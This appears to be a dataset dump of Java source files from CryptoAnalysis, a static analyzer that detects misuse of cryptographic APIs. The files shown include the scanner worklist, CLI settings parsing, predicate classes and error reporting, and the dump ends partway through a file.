java.util.List;\nimport java.util.concurrent.TimeUnit;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.base.Stopwatch;\nimport com.google.common.collect.Lists;\n\nimport boomerang.Query;\nimport boomerang.callgraph.ObservableICFG;\nimport boomerang.debugger.Debugger;\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport crypto.predicates.PredicateHandler;\nimport crypto.rules.CrySLRule;\nimport crypto.typestate.CrySLMethodToSootMethod;\nimport heros.utilities.DefaultValueMap;\nimport ideal.IDEALSeedSolver;\nimport soot.MethodOrMethodContext;\nimport soot.Scene;\nimport soot.SootMethod;\nimport soot.Unit;\nimport soot.jimple.toolkits.callgraph.ReachableMethods;\nimport soot.util.queue.QueueReader;\nimport sync.pds.solver.nodes.Node;\nimport typestate.TransitionFunction;\n\npublic abstract class CryptoScanner {\n\n\tprivate final LinkedList worklist = Lists.newLinkedList();\n\tprivate final List specifications = Lists.newLinkedList();\n\tprivate final PredicateHandler predicateHandler = new PredicateHandler(this);\n\tprivate CrySLResultsReporter resultsAggregator = new CrySLResultsReporter();\n\tprivate static final Logger logger = LoggerFactory.getLogger(CryptoScanner.class);\n\n\tprivate DefaultValueMap, AnalysisSeedWithEnsuredPredicate> seedsWithoutSpec = new DefaultValueMap, AnalysisSeedWithEnsuredPredicate>() {\n\n\t\t@Override\n\t\tprotected AnalysisSeedWithEnsuredPredicate createItem(Node key) {\n\t\t\treturn new AnalysisSeedWithEnsuredPredicate(CryptoScanner.this, key);\n\t\t}\n\t};\n\tprivate DefaultValueMap seedsWithSpec = new DefaultValueMap() {\n\n\t\t@Override\n\t\tprotected AnalysisSeedWithSpecification createItem(AnalysisSeedWithSpecification key) {\n\t\t\treturn new AnalysisSeedWithSpecification(CryptoScanner.this, key.stmt(), key.var(), key.getSpec());\n\t\t}\n\t};\n\tprivate int solvedObject;\n\tprivate Stopwatch analysisWatch;\n\n\tpublic abstract ObservableICFG icfg();\n\n\tpublic CrySLResultsReporter getAnalysisListener() {\n\t\treturn resultsAggregator;\n\t};\n\n\tpublic CryptoScanner() {\n\t\tCrySLMethodToSootMethod.reset();\n\t}\n\n\tpublic void scan(List specs) {\n\t\tint processedSeeds = 0;\n\t\tfor (CrySLRule rule : specs) {\n\t\t\tspecifications.add(new ClassSpecification(rule, this));\n\t\t}\n\t\tCrySLResultsReporter listener = getAnalysisListener();\n\t\tlistener.beforeAnalysis();\n\t\tanalysisWatch = Stopwatch.createStarted();\n\t\tlogger.info(\"Searching for seeds for the analysis!\");\n\t\tinitialize();\n\t\tlong elapsed = analysisWatch.elapsed(TimeUnit.SECONDS);\n\t\tlogger.info(\"Discovered \" + worklist.size() + \" analysis seeds within \" + elapsed + \" seconds!\");\n\t\twhile (!worklist.isEmpty()) {\n\t\t\tIAnalysisSeed curr = worklist.poll();\n\t\t\tlistener.discoveredSeed(curr);\n\t\t\tcurr.execute();\n\t\t\tprocessedSeeds++;\n\t\t\tlistener.addProgress(processedSeeds,worklist.size());\n\t\t\testimateAnalysisTime();\n\t\t}\n\n//\t\tIDebugger> debugger = debugger();\n//\t\tif (debugger instanceof CryptoVizDebugger) {\n//\t\t\tCryptoVizDebugger ideVizDebugger = (CryptoVizDebugger) debugger;\n//\t\t\tideVizDebugger.addEnsuredPredicates(this.existingPredicates);\n//\t\t}\n\t\tpredicateHandler.checkPredicates();\n\n\t\tfor (AnalysisSeedWithSpecification seed : getAnalysisSeeds()) {\n\t\t\tif (seed.isSecure()) {\n\t\t\t\tlistener.onSecureObjectFound(seed);\n\t\t\t}\n\t\t}\n\t\t\n\t\tlistener.afterAnalysis();\n\t\telapsed = analysisWatch.elapsed(TimeUnit.SECONDS);\n\t\tlogger.info(\"Static Analysis took \" + elapsed + \" seconds!\");\n//\t\tdebugger().afterAnalysis();\n\t}\n\n\tprivate void estimateAnalysisTime() {\n\t\tint remaining = worklist.size();\n\t\tsolvedObject++;\n\t\tif (remaining != 0) {\n//\t\t\tDuration elapsed = analysisWatch.elapsed();\n//\t\t\tDuration estimate = elapsed.dividedBy(solvedObject);\n//\t\t\tDuration remainingTime = estimate.multipliedBy(remaining);\n//\t\t\tSystem.out.println(String.format(\"Analysis Time: %s\", elapsed));\n//\t\t\tSystem.out.println(String.format(\"Estimated Time: %s\", remainingTime));\n\t\t\tlogger.info(String.format(\"Analyzed Objects: %s of %s\", solvedObject, remaining + solvedObject));\n\t\t\tlogger.info(String.format(\"Percentage Completed: %s\\n\",\n\t\t\t\t\t((float) Math.round((float) solvedObject * 100 / (remaining + solvedObject))) / 100));\n\t\t}\n\t}\n\n\tprivate void initialize() {\n\t\tReachableMethods rm = Scene.v().getReachableMethods();\n\t\tQueueReader listener = rm.listener();\n\t\twhile (listener.hasNext()) {\n\t\t\tMethodOrMethodContext next = listener.next();\n\t\t\tSootMethod method = next.method();\n\t\t\tif (method == null || !method.hasActiveBody() || !method.getDeclaringClass().isApplicationClass()) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tfor (ClassSpecification spec : getClassSpecifictions()) {\n\t\t\t\tspec.invokesForbiddenMethod(method);\n\t\t\t\tif (spec.getRule().getClassName().equals(\"javax.crypto.SecretKey\")) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tfor (Query seed : spec.getInitialSeeds(method)) {\n\t\t\t\t\tgetOrCreateSeedWithSpec(new AnalysisSeedWithSpecification(this, seed.stmt(), seed.var(), spec));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic List getClassSpecifictions() {\n\t\treturn specifications;\n\t}\n\n\tprotected void addToWorkList(IAnalysisSeed analysisSeedWithSpecification) {\n\t\tworklist.add(analysisSeedWithSpecification);\n\t}\n\n\tpublic AnalysisSeedWithEnsuredPredicate getOrCreateSeed(Node factAtStatement) {\n\t\tboolean addToWorklist = false;\n\t\tif (!seedsWithoutSpec.containsKey(factAtStatement))\n\t\t\taddToWorklist = true;\n\n\t\tAnalysisSeedWithEnsuredPredicate seed = seedsWithoutSpec.getOrCreate(factAtStatement);\n\t\tif (addToWorklist)\n\t\t\taddToWorkList(seed);\n\t\treturn seed;\n\t}\n\n\tpublic AnalysisSeedWithSpecification getOrCreateSeedWithSpec(AnalysisSeedWithSpecification factAtStatement) {\n\t\tboolean addToWorklist = false;\n\t\tif (!seedsWithSpec.containsKey(factAtStatement))\n\t\t\taddToWorklist = true;\n\t\tAnalysisSeedWithSpecification seed = seedsWithSpec.getOrCreate(factAtStatement);\n\t\tif (addToWorklist)\n\t\t\taddToWorkList(seed);\n\t\treturn seed;\n\t}\n\n\tpublic Debugger debugger(IDEALSeedSolver solver,\n\t\t\tIAnalysisSeed analyzedObject) {\n\t\treturn new Debugger<>();\n\t}\n\n\tpublic PredicateHandler getPredicateHandler() {\n\t\treturn predicateHandler;\n\t}\n\n\tpublic Collection getAnalysisSeeds() {\n\t\treturn this.seedsWithSpec.values();\n\t}\n}\n"},"file_length":{"kind":"number","value":6515,"string":"6,515"},"avg_line_length":{"kind":"number","value":34.03225806451613,"string":"34.032258"},"max_line_length":{"kind":"number","value":188,"string":"188"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":284,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CryptoScannerSettings.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport crypto.exceptions.CryptoAnalysisParserException;\n\npublic class CryptoScannerSettings {\n\t\n\tprivate ControlGraph controlGraph = null;\n\tprivate RulesetPathType rulesetPathType = null;\n\tprivate String rulesetPathDir = null;\n\tprivate String rulesetPathZip = null;\n\tprivate String sootPath = \"\";\n\tprivate String applicationPath = null;\n\tprivate String softwareIdentifier = \"\";\n\tprivate String reportDirectory = null;\n\tprivate ReportFormat reportFormat = null;\n\tprivate boolean preAnalysis;\n\tprivate boolean visualization;\n\tprivate boolean providerDetectionAnalysis;\n\t\n\tpublic CryptoScannerSettings() {\n\t\tsetControlGraph(ControlGraph.CHA);\n\t\tsetRulesetPathType(RulesetPathType.NONE);\n\t\tsetPreAnalysis(false);\n\t\tsetVisualization(false);\n\t\tsetProviderDetectionAnalysis(false);\n\t}\n\t\n\tpublic ControlGraph getControlGraph() {\n\t\treturn controlGraph;\n\t}\n\n\tpublic void setControlGraph(ControlGraph controlGraph) {\n\t\tthis.controlGraph = controlGraph;\n\t}\n\t\n\tpublic RulesetPathType getRulesetPathType() {\n\t\treturn rulesetPathType;\n\t}\n\n\tpublic void setRulesetPathType(RulesetPathType rulesetPathType) {\n\t\tthis.rulesetPathType = rulesetPathType;\n\t}\n\n\tpublic String getRulesetPathDir() {\n\t\treturn rulesetPathDir;\n\t}\n\n\tpublic void setRulesetPathDir(String rulesPath) {\n\t\tthis.rulesetPathDir = rulesPath;\n\t}\n\t\n\tpublic String getRulesetPathZip() {\n\t\treturn rulesetPathZip;\n\t}\n\n\tpublic void setRulesetPathZip(String rulesetPathZip) {\n\t\tthis.rulesetPathZip = rulesetPathZip;\n\t}\n\n\tpublic String getSootPath() {\n\t\treturn sootPath;\n\t}\n\n\tpublic void setSootPath(String sootClasspath) {\n\t\tthis.sootPath = sootClasspath;\n\t}\n\n\tpublic String getApplicationPath() {\n\t\treturn applicationPath;\n\t}\n\n\tpublic void setApplicationPath(String applicationClasspath) {\n\t\tthis.applicationPath = applicationClasspath;\n\t}\n\n\tpublic String getSoftwareIdentifier() {\n\t\treturn softwareIdentifier;\n\t}\n\n\tpublic void setSoftwareIdentifier(String softwareIdentifier) {\n\t\tthis.softwareIdentifier = softwareIdentifier;\n\t}\n\n\tpublic String getReportDirectory() {\n\t\treturn reportDirectory;\n\t}\n\n\tpublic void setReportDirectory(String reportDirectory) {\n\t\tthis.reportDirectory = reportDirectory;\n\t}\n\n\tpublic ReportFormat getReportFormat() {\n\t\treturn reportFormat;\n\t}\n\n\tpublic void setReportFormat(ReportFormat reportFormat) {\n\t\tthis.reportFormat = reportFormat;\n\t}\n\n\tpublic boolean isPreAnalysis() {\n\t\treturn preAnalysis;\n\t}\n\n\tpublic void setPreAnalysis(boolean preAnalysis) {\n\t\tthis.preAnalysis = preAnalysis;\n\t}\n\n\tpublic boolean isVisualization() {\n\t\treturn visualization;\n\t}\n\n\tpublic void setVisualization(boolean visualization) {\n\t\tthis.visualization = visualization;\n\t}\n\n\tpublic boolean isProviderDetectionAnalysis() {\n\t\treturn providerDetectionAnalysis;\n\t}\n\n\tpublic void setProviderDetectionAnalysis(boolean providerDetectionAnalysis) {\n\t\tthis.providerDetectionAnalysis = providerDetectionAnalysis;\n\t}\n\t\n\tpublic void parseSettingsFromCLI(String[] settings) throws CryptoAnalysisParserException {\n\t\tint mandatorySettings = 0;\n\t\tif(settings == null) {\n\t\t\tshowErrorMessage();\n\t\t}\n\t\tfor(int i=0; i crypto.HeadlessCryptoScanner \\\\\\r\\n\"+ \n\t\t\t\t\" \t\t--rulesDir \\\\\\r\\n\" + \n\t\t\t\t\" --appPath \\n\";\n\t\tthrow new CryptoAnalysisParserException(errorMessage);\n\t}\n\t\t\n\tprivate static void showErrorMessage(String arg) throws CryptoAnalysisParserException {\n\t\tString errorMessage = \"An error occured while trying to parse the CLI argument: \"+arg+\".\\n\"\n\t\t\t\t+\"The default command for running CryptoAnalysis is: \\n\"\n\t\t\t\t+ \"java -cp crypto.HeadlessCryptoScanner \\\\\\r\\n\" + \n\t\t\t\t\" --rulesDir \\\\\\r\\n\" + \n\t\t\t\t\" --appPath \\n\"\n\t\t\t\t+ \"\\nAdditional arguments that can be used are:\\n\"\n\t\t\t\t+ \"--cg \\n\"\n\t\t\t\t+ \"--sootPath \\n\"\n\t\t\t\t+ \"--identifier \\n\"\n\t\t\t\t+ \"--reportPath \\n\"\n\t\t\t\t+ \"--reportFormat \\n\"\n\t\t\t\t+ \"--preanalysis (enables pre-analysis)\\n\"\n\t\t\t\t+ \"--visualization (enables the visualization, but also requires --reportPath option to be set)\\n\"\n\t\t\t\t+ \"--providerDetection (enables provider detection analysis)\\n\";\n\t\tthrow new CryptoAnalysisParserException(errorMessage);\n\t}\n\t\n}\n"},"file_length":{"kind":"number","value":7699,"string":"7,699"},"avg_line_length":{"kind":"number","value":27.51851851851852,"string":"27.518519"},"max_line_length":{"kind":"number","value":111,"string":"111"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":285,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/EnsuredCrySLPredicate.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport com.google.common.collect.Multimap;\n\nimport crypto.extractparameter.CallSiteWithParamIndex;\nimport crypto.extractparameter.ExtractedValue;\nimport crypto.rules.CrySLPredicate;\n\npublic class EnsuredCrySLPredicate {\n\n\tprivate final CrySLPredicate predicate;\n\tprivate final Multimap parametersToValues;\n\n\tpublic EnsuredCrySLPredicate(CrySLPredicate predicate, Multimap parametersToValues2) {\n\t\tthis.predicate = predicate;\n\t\tparametersToValues = parametersToValues2;\n\t}\n\t\n\tpublic CrySLPredicate getPredicate(){\n\t\treturn predicate;\n\t}\n\t\n\n\tpublic Multimap getParametersToValues() {\n\t\treturn parametersToValues;\n\t}\n\t\n\tpublic String toString() {\n\t\treturn \"Proved \" + predicate.getPredName(); \n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + ((predicate == null) ? 0 : predicate.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (obj == null)\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tEnsuredCrySLPredicate other = (EnsuredCrySLPredicate) obj;\n\t\tif (predicate == null) {\n\t\t\tif (other.predicate != null)\n\t\t\t\treturn false;\n\t\t} else if (!predicate.equals(other.predicate))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n}\n"},"file_length":{"kind":"number","value":1416,"string":"1,416"},"avg_line_length":{"kind":"number","value":23.43103448275862,"string":"23.431034"},"max_line_length":{"kind":"number","value":127,"string":"127"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":286,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/IAnalysisSeed.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.math.BigInteger;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Set;\n\nimport boomerang.WeightedForwardQuery;\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport crypto.predicates.PredicateHandler;\nimport soot.SootMethod;\nimport sync.pds.solver.nodes.Node;\nimport typestate.TransitionFunction;\n\npublic abstract class IAnalysisSeed extends WeightedForwardQuery {\n\n\tprotected final CryptoScanner cryptoScanner;\n\tprotected final PredicateHandler predicateHandler;\n\tprivate String objectId;\n\n\tpublic IAnalysisSeed(CryptoScanner scanner, Statement stmt, Val fact, TransitionFunction func){\n\t\tsuper(stmt,fact, func);\n\t\tthis.cryptoScanner = scanner;\n\t\tthis.predicateHandler = scanner.getPredicateHandler();\n\t}\n\tabstract void execute();\n\n\tpublic SootMethod getMethod(){\n\t\treturn stmt().getMethod();\n\t}\n\t\n\tpublic String getObjectId() {\n\t\tif(objectId == null) {\n\t\t\tMessageDigest md;\n\t\t\ttry {\n\t\t\t\tmd = MessageDigest.getInstance(\"SHA-256\");\n\t\t\t} catch (NoSuchAlgorithmException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tthis.objectId = new BigInteger(1, md.digest(this.toString().getBytes())).toString(16);\n\t\t}\n\t\treturn this.objectId;\n\t\t\n\t}\n\t\n\tpublic abstract Set> getDataFlowPath();\n\t\n}\n"},"file_length":{"kind":"number","value":1339,"string":"1,339"},"avg_line_length":{"kind":"number","value":25.274509803921568,"string":"25.27451"},"max_line_length":{"kind":"number","value":96,"string":"96"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":287,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ICrySLPerformanceListener.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.Set;\n\nimport com.google.common.collect.Table;\n\nimport boomerang.BackwardQuery;\nimport boomerang.Query;\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport crypto.rules.CrySLPredicate;\n\npublic interface ICrySLPerformanceListener {\n\n\tvoid beforeAnalysis();\n\n\tvoid afterAnalysis();\n\n\tvoid beforeConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification);\n\n\tvoid afterConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification);\n\n\tvoid beforePredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification);\n\n\tvoid afterPredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification);\n\t\n\tvoid seedStarted(IAnalysisSeed analysisSeedWithSpecification);\n\n\tvoid boomerangQueryStarted(Query seed, BackwardQuery q);\n\n\tvoid boomerangQueryFinished(Query seed, BackwardQuery q);\n\t\n\tvoid ensuredPredicates(Table> existingPredicates, Table> expectedPredicates, Table> missingPredicates);\n\n}\n"},"file_length":{"kind":"number","value":1131,"string":"1,131"},"avg_line_length":{"kind":"number","value":30.444444444444443,"string":"30.444444"},"max_line_length":{"kind":"number","value":239,"string":"239"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":288,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ICrySLResultsListener.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.Collection;\n\nimport com.google.common.collect.Multimap;\n\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport boomerang.results.ForwardBoomerangResults;\nimport crypto.analysis.errors.AbstractError;\nimport crypto.extractparameter.CallSiteWithParamIndex;\nimport crypto.extractparameter.ExtractedValue;\nimport crypto.interfaces.ISLConstraint;\nimport sync.pds.solver.nodes.Node;\nimport typestate.TransitionFunction;\n\npublic interface ICrySLResultsListener {\n\n\tvoid reportError(AbstractError error);\n\n\tvoid checkedConstraints(AnalysisSeedWithSpecification analysisSeedWithSpecification, Collection relConstraints);\n\t\n\tvoid onSeedTimeout(Node seed);\n\t\n\tvoid onSeedFinished(IAnalysisSeed seed, ForwardBoomerangResults analysisResults);\n\t\n\tvoid collectedValues(AnalysisSeedWithSpecification seed, Multimap collectedValues);\n\n\tvoid discoveredSeed(IAnalysisSeed curr);\n\n\tvoid onSecureObjectFound(IAnalysisSeed analysisObject);\n\n\tvoid addProgress(int processedSeeds, int workListsize);\n\n}\n"},"file_length":{"kind":"number","value":1129,"string":"1,129"},"avg_line_length":{"kind":"number","value":30.38888888888889,"string":"30.388889"},"max_line_length":{"kind":"number","value":128,"string":"128"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":289,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/RequiredCrySLPredicate.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.Set;\nimport boomerang.jimple.Statement;\nimport crypto.interfaces.ISLConstraint;\nimport crypto.rules.CrySLPredicate;\n\npublic class RequiredCrySLPredicate implements ISLConstraint {\n\n\tprivate static final long serialVersionUID = 9111353268603202392L;\n\tprivate final CrySLPredicate predicate;\n\tprivate final Statement stmt;\n\n\tpublic RequiredCrySLPredicate(CrySLPredicate predicate, Statement stmt) {\n\t\tthis.predicate = predicate;\n\t\tthis.stmt = stmt;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + ((predicate == null) ? 0 : predicate.hashCode());\n\t\tresult = prime * result + ((stmt == null) ? 0 : stmt.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (obj == null)\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tRequiredCrySLPredicate other = (RequiredCrySLPredicate) obj;\n\t\tif (predicate == null) {\n\t\t\tif (other.predicate != null)\n\t\t\t\treturn false;\n\t\t} else if (!predicate.equals(other.predicate))\n\t\t\treturn false;\n\t\tif (stmt == null) {\n\t\t\tif (other.stmt != null)\n\t\t\t\treturn false;\n\t\t} else if (!stmt.equals(other.stmt))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\tpublic CrySLPredicate getPred() {\n\t\treturn predicate;\n\t}\n\n\tpublic Statement getLocation() {\n\t\treturn stmt;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\t// TODO Auto-generated method stub\n\t\treturn \"misses \" + predicate + \" @ \" + stmt.toString();\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn predicate.getName();\n\t}\n\n\t@Override\n\tpublic Set getInvolvedVarNames() {\n\t\treturn predicate.getInvolvedVarNames();\n\t}\n\n\t@Override\n\tpublic void setLocation(Statement location) {\n\t\tthrow new UnsupportedOperationException();\n\t}\n}\n"},"file_length":{"kind":"number","value":1790,"string":"1,790"},"avg_line_length":{"kind":"number","value":21.670886075949365,"string":"21.670886"},"max_line_length":{"kind":"number","value":77,"string":"77"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":290,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ResultsHandler.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport boomerang.results.ForwardBoomerangResults;\nimport typestate.TransitionFunction;\n\npublic interface ResultsHandler{\n\tvoid done(ForwardBoomerangResults results);\n}"},"file_length":{"kind":"number","value":213,"string":"213"},"avg_line_length":{"kind":"number","value":25.75,"string":"25.75"},"max_line_length":{"kind":"number","value":64,"string":"64"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":291,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/AbstractError.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\nimport boomerang.jimple.Statement;\nimport crypto.rules.CrySLRule;\nimport soot.jimple.internal.JAssignStmt;\nimport soot.jimple.internal.JReturnStmt;\nimport soot.jimple.internal.JReturnVoidStmt;\n\npublic abstract class AbstractError implements IError{\n\tprivate Statement errorLocation;\n\tprivate CrySLRule rule;\n\tprivate final String outerMethod;\n\tprivate final String invokeMethod;\n\tprivate final String declaringClass;\n\n\tpublic AbstractError(Statement errorLocation, CrySLRule rule) {\n\t\tthis.errorLocation = errorLocation;\n\t\tthis.rule = rule;\n\t\tthis.outerMethod = errorLocation.getMethod().getSignature();\n\t\tthis.declaringClass = errorLocation.getMethod().getDeclaringClass().toString();\n\n\t\tif(errorLocation.getUnit().get().containsInvokeExpr()) {\n\t\t\tthis.invokeMethod = errorLocation.getUnit().get().getInvokeExpr().getMethod().toString();\n\t\t}\n\t\telse if(errorLocation.getUnit().get() instanceof JReturnStmt\n\t\t\t|| errorLocation.getUnit().get() instanceof JReturnVoidStmt) {\n\t\t\tthis.invokeMethod = errorLocation.getUnit().get().toString();\n\t\t}\n\t\telse {\n\t\t\tthis.invokeMethod = ((JAssignStmt) errorLocation.getUnit().get()).getLeftOp().toString();\n\t\t}\t\n\t}\n\n\tpublic Statement getErrorLocation() {\n\t\treturn errorLocation;\n\t}\n\n\tpublic CrySLRule getRule() {\n\t\treturn rule;\n\t}\n\tpublic abstract String toErrorMarkerString();\n\n\tpublic String toString() {\n\t\treturn toErrorMarkerString();\n\t}\n\t\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + ((declaringClass == null) ? 0 : declaringClass.hashCode());\n\t\tresult = prime * result + ((invokeMethod == null) ? 0 : invokeMethod.hashCode());\n\t\tresult = prime * result + ((outerMethod == null) ? 0 : outerMethod.hashCode());\n\t\tresult = prime * result + ((rule == null) ? 0 : rule.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (obj == null)\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tAbstractError other = (AbstractError) obj;\n\t\tif (declaringClass == null) {\n\t\t\tif (other.declaringClass != null)\n\t\t\t\treturn false;\n\t\t} else if (!declaringClass.equals(other.declaringClass))\n\t\t\treturn false;\n\t\tif (invokeMethod == null) {\n\t\t\tif (other.invokeMethod != null)\n\t\t\t\treturn false;\n\t\t} else if (!invokeMethod.equals(other.invokeMethod))\n\t\t\treturn false;\n\t\tif (outerMethod == null) {\n\t\t\tif (other.outerMethod != null)\n\t\t\t\treturn false;\n\t\t} else if (!outerMethod.equals(other.outerMethod))\n\t\t\treturn false;\n\t\tif (rule == null) {\n\t\t\tif (other.rule != null)\n\t\t\t\treturn false;\n\t\t} else if (!rule.equals(other.rule))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n}\n"},"file_length":{"kind":"number","value":2664,"string":"2,664"},"avg_line_length":{"kind":"number","value":28.285714285714285,"string":"28.285714"},"max_line_length":{"kind":"number","value":92,"string":"92"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":292,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ConstraintError.java"},"code":{"kind":"string","value":"package crypto.analysis.errors;\n\nimport java.util.List;\nimport java.util.Set;\n\nimport com.google.common.base.CharMatcher;\n\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport crypto.analysis.IAnalysisSeed;\nimport crypto.extractparameter.CallSiteWithExtractedValue;\nimport crypto.interfaces.ISLConstraint;\nimport crypto.rules.CrySLArithmeticConstraint;\nimport crypto.rules.CrySLComparisonConstraint;\nimport crypto.rules.CrySLComparisonConstraint.CompOp;\nimport crypto.rules.CrySLConstraint;\nimport crypto.rules.CrySLPredicate;\nimport crypto.rules.CrySLRule;\nimport crypto.rules.CrySLSplitter;\nimport crypto.rules.CrySLValueConstraint;\nimport soot.Value;\nimport soot.jimple.AssignStmt;\nimport soot.jimple.Constant;\nimport soot.jimple.Stmt;\nimport soot.jimple.internal.AbstractInvokeExpr;\nimport sync.pds.solver.nodes.Node;\n\npublic class ConstraintError extends ErrorWithObjectAllocation{\n\n\tprivate ISLConstraint brokenConstraint;\n\tprivate CallSiteWithExtractedValue callSiteWithParamIndex;\n\n\tpublic ConstraintError(CallSiteWithExtractedValue cs, CrySLRule rule, IAnalysisSeed objectLocation, ISLConstraint con) {\n\t\tsuper(cs.getCallSite().stmt(), rule, objectLocation);\n\t\tthis.callSiteWithParamIndex = cs;\n\t\tthis.brokenConstraint = con;\n\t}\n\t\n\tpublic ISLConstraint getBrokenConstraint() {\n\t\treturn brokenConstraint;\n\t}\n\n\tpublic void accept(ErrorVisitor visitor){\n\t\tvisitor.visit(this);\n\t}\n\t\n\t@Override\n\tpublic Set> getDataFlowPath() {\n\t\treturn callSiteWithParamIndex.getVal().getDataFlowPath();\n\t}\n\n\n\tpublic CallSiteWithExtractedValue getCallSiteWithExtractedValue() {\n\t\treturn callSiteWithParamIndex;\n\t}\n\n\t@Override\n\tpublic String toErrorMarkerString() {\n\t\treturn callSiteWithParamIndex.toString() + evaluateBrokenConstraint(brokenConstraint);\n\t}\n\t\n\t\n\n\tprivate String evaluateBrokenConstraint(final ISLConstraint brokenConstraint) {\n\t\tStringBuilder msg = new StringBuilder();\n\t\tif (brokenConstraint instanceof CrySLPredicate) {\n\n\t\t\tCrySLPredicate brokenPred = (CrySLPredicate) brokenConstraint;\n\n\t\t\tswitch (brokenPred.getPredName()) {\n\t\t\t\tcase \"neverTypeOf\":\n\t\t\t\t\tmsg.append(\" should never be of type \");\n\t\t\t\t\tmsg.append(brokenPred.getParameters().get(1).getName());\n\t\t\t\t\tmsg.append(\".\");\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"notHardCoded\":\n\t\t\t\t\tmsg.append(\" should never be hardcoded.\");\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t} else if (brokenConstraint instanceof CrySLValueConstraint) {\n\t\t\treturn evaluateValueConstraint((CrySLValueConstraint) brokenConstraint);\n\t\t} else if (brokenConstraint instanceof CrySLArithmeticConstraint) {\n\t\t\tfinal CrySLArithmeticConstraint brokenArthConstraint = (CrySLArithmeticConstraint) brokenConstraint;\n\t\t\tmsg.append(brokenArthConstraint.getLeft());\n\t\t\tmsg.append(\" \");\n\t\t\tmsg.append(brokenArthConstraint.getOperator());\n\t\t\tmsg.append(\" \");\n\t\t\tmsg.append(brokenArthConstraint.getRight());\n\t\t} else if (brokenConstraint instanceof CrySLComparisonConstraint) {\n\t\t\tfinal CrySLComparisonConstraint brokenCompCons = (CrySLComparisonConstraint) brokenConstraint;\n\t\t\tmsg.append(\"Variable \");\n\t\t\tmsg.append(brokenCompCons.getLeft().getLeft().getName());\n\t\t\tmsg.append(\"must be 